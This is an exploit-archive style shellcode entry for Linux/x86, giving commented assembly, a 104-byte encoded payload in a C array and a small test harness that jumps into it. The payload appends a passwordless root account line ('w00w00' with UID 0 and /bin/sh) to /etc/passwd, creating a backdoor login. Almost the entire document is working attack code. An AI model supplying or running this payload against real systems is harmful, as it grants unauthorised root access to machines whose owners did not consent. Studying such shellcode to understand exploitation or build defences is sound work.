Linux/x86 - Add Root User (w00w00) To /etc/passwd Shellcode (104 bytes)

/*
 
  jmp call_w00w00
 
w00w00:
  popl %edi
  jmp w0w0w
 
call_w00w00:
 
  call w00w00
 
w0w0w:
 
 # OPEN
 # ecx=flag (O_RDONLY, O_WRONLY, ...) 
 #     O_WRONLY | O_APPEND | O_CREAT = 0x441
 # edx=file mode
 # ebx=address of filename
 # eax=0x05 syscall number
 
  xorl %ebx,%ebx
  movb $(file-w0w0w),%bl
  addl %edi,%ebx
 
  xorb %al,%al
  movb %al,11(%ebx)
 
  xorl %ecx,%ecx
  movw $0x441,%cx
 
  xorl %edx,%edx
  movw $00644,%dx
 
  xorl %eax,%eax
  movb $0x5,%al
 
  int $0x80
  movl %eax,%ebx    # save file descriptor to %ebx (for write)
  
#  WRITE
#  ecx=address of buffer to write
#  edx=number of bytes to write
#  ebx=file descriptor
#  eax=0x04
   
  xorl %ecx,%ecx
  movb $(string-w0w0w),%cl
  addl %edi,%ecx
 
  xorl %edx,%edx
  movb $31,%dl
 
  xorl %eax,%eax
  movb $0x04,%al
 
  int $0x80                                           
   
  xorl %eax,%eax
  movb $1,%al
  int $0x80
   
file:  
.ascii "/etc/passwd"
endfile:
.byte 1 
string:
.ascii "w00w00::0:0:w0w0w!:/:/bin/sh\n"
 
*/
 
/* 
 * Source to this is pass.s
 * This will append a root line to the passwd file (see the source).
 *
 * Shok (Matt Conover), [email protected]
 */
 
char shellcode[]=
  "\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35\x01\xfb"
  "\x30\xc0\x88\x43\x0b\x31\xc9\x66\xb9\x41\x04\x31\xd2\x66\xba\xa4"
  "\x01\x31\xc0\xb0\x05\xcd\x80\x89\xc3\x31\xc9\xb1\x41\x01\xf9\x31"
  "\xd2\xb2\x1f\x31\xc0\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x2f"
  "\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x01\x77\x30\x30\x77\x30"
  "\x30\x3a\x3a\x30\x3a\x30\x3a\x77\x30\x77\x30\x77\x21\x3a\x2f\x3a"
  "\x2f\x62\x69\x6e\x2f\x73\x68\x0a";
 
void main()
{
 
  int *ret;
   
  printf("w00w00!\n");
  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;
}